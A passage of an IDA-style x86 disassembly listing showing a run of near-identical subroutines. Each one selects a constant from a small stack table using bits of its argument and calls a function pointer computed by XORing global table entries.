[ebp+var_30], 0C1h mov [ebp+var_2C], 0F9h mov [ebp+var_28], 73h mov [ebp+var_24], 0D9h mov [ebp+var_20], 12h mov [ebp+var_1C], 0B5h mov [ebp+var_18], 57h mov [ebp+var_14], 9Bh mov [ebp+var_10], 2 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 2 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4B140B mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4B140B: ; CODE XREF: sub_4B137A+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4B137A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4B1477 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDBC8o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 0E2h mov [ebp+var_2C], 0 mov [ebp+var_28], 0Eh mov [ebp+var_24], 87h mov [ebp+var_20], 0C4h mov [ebp+var_1C], 0EDh mov [ebp+var_18], 0C1h mov [ebp+var_14], 0AEh mov [ebp+var_10], 11h mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 11h and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4B1508 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4B1508: ; CODE XREF: sub_4B1477+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4B1477 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4B1574 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDBCCo var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 97h mov [ebp+var_2C], 2Eh mov [ebp+var_28], 0FBh mov [ebp+var_24], 0B7h mov [ebp+var_20], 0B3h mov [ebp+var_1C], 6Bh mov [ebp+var_18], 2Dh mov [ebp+var_14], 71h mov [ebp+var_10], 7 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 7 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4B1605 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4B1605: ; CODE XREF: sub_4B1574+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4B1574 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4B1671 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDBD0o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 9Dh mov [ebp+var_2C], 0B8h mov [ebp+var_28], 5Bh mov [ebp+var_24], 0EEh mov [ebp+var_20], 1Ch mov [ebp+var_1C], 0D2h mov [ebp+var_18], 8Bh mov [ebp+var_14], 0ABh mov [ebp+var_10], 0 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4B16FF mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4B16FF: ; CODE XREF: sub_4B1671+7Bj mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4B1671 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4B176B proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDBD4o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 0Ch mov [ebp+var_2C], 37h mov [ebp+var_28], 0D2h mov [ebp+var_24], 0E1h mov [ebp+var_20], 0BBh mov [ebp+var_1C], 0E8h mov [ebp+var_18], 7Eh mov [ebp+var_14], 4Bh mov [ebp+var_10], 0Eh mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 0Eh and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4B17FC mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4B17FC: ; CODE XREF: sub_4B176B+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4B176B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4B1868 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDBD8o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 0E3h mov [ebp+var_2C], 31h mov [ebp+var_28], 0DEh mov [ebp+var_24], 5 mov [ebp+var_20], 41h mov [ebp+var_1C], 6Dh mov [ebp+var_18], 0DCh mov [ebp+var_14], 4Eh mov [ebp+var_10], 0Dh mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 0Dh and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4B18F9 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4B18F9: ; CODE XREF: sub_4B1868+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4B1868 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4B1965 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDBDCo var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 0E3h mov [ebp+var_2C], 6Ch mov [ebp+var_28], 0D1h mov [ebp+var_24], 0C4h mov [ebp+var_20], 9Ch mov [ebp+var_1C], 7Dh mov [ebp+var_18], 21h mov [ebp+var_14], 41h mov [ebp+var_10], 9 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 9 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4B19F6 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4B19F6: ; CODE XREF: sub_4B1965+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4B1965 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4B1A62 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDBE0o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 0EFh mov [ebp+var_2C], 62h mov [ebp+var_28], 0FBh mov [ebp+var_24], 0A4h mov [ebp+var_20], 0E9h mov [ebp+var_1C], 45h mov [ebp+var_18], 0C6h mov [ebp+var_14], 61h mov [ebp+var_10], 9 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 9 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4B1AF3 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4B1AF3: ; CODE XREF: sub_4B1A62+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4B1A62 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4B1B5F proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDBE4o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 0DAh mov [ebp+var_2C], 0AEh mov [ebp+var_28], 0ABh mov [ebp+var_24], 6Fh mov [ebp+var_20], 1Bh mov [ebp+var_1C], 8 mov [ebp+var_18], 1Bh mov [ebp+var_14], 5Dh mov [ebp+var_10], 6 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 6 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4B1BF0 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4B1BF0: ; CODE XREF: sub_4B1B5F+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4B1B5F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4B1C5C proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDBE8o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 15h mov [ebp+var_2C], 50h mov [ebp+var_28], 2Ah mov [ebp+var_24], 10h mov [ebp+var_20], 0D3h mov [ebp+var_1C], 6 mov [ebp+var_18], 32h mov [ebp+var_14], 0F1h mov [ebp+var_10], 9 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 9 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4B1CED mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4B1CED: ; CODE XREF: sub_4B1C5C+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4B1C5C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4B1D59 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDBECo var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 5Ah mov [ebp+var_2C], 1Fh mov [ebp+var_28], 0E2h mov [ebp+var_24], 79h mov [ebp+var_20], 66h mov [ebp+var_1C], 9Fh mov [ebp+var_18], 0CCh mov [ebp+var_14], 37h mov [ebp+var_10], 6 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 6 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4B1DEA mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4B1DEA: ; CODE XREF: sub_4B1D59+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4B1D59 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4B1E56 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDBF0o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 0DFh mov [ebp+var_2C], 67h mov [ebp+var_28], 0Ah mov [ebp+var_24], 7Ch mov [ebp+var_20], 0D2h mov [ebp+var_1C], 0Bh mov [ebp+var_18], 4Fh mov [ebp+var_14], 0AEh mov [ebp+var_10], 11h mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 11h and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4B1EE7 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4B1EE7: ; CODE XREF: sub_4B1E56+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4B1E56 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4B1F53 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDBF4o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 0Ch mov [ebp+var_2C], 1Ch mov [ebp+var_28], 0A2h mov [ebp+var_24], 0DEh mov [ebp+var_20], 0C4h mov [ebp+var_1C], 10h mov [ebp+var_18], 0D2h mov [ebp+var_14], 0DAh mov [ebp+var_10], 1 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 1 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4B1FE3 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4B1FE3: ; CODE XREF: sub_4B1F53+7Dj mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4B1F53 endp ; =============== S U B R 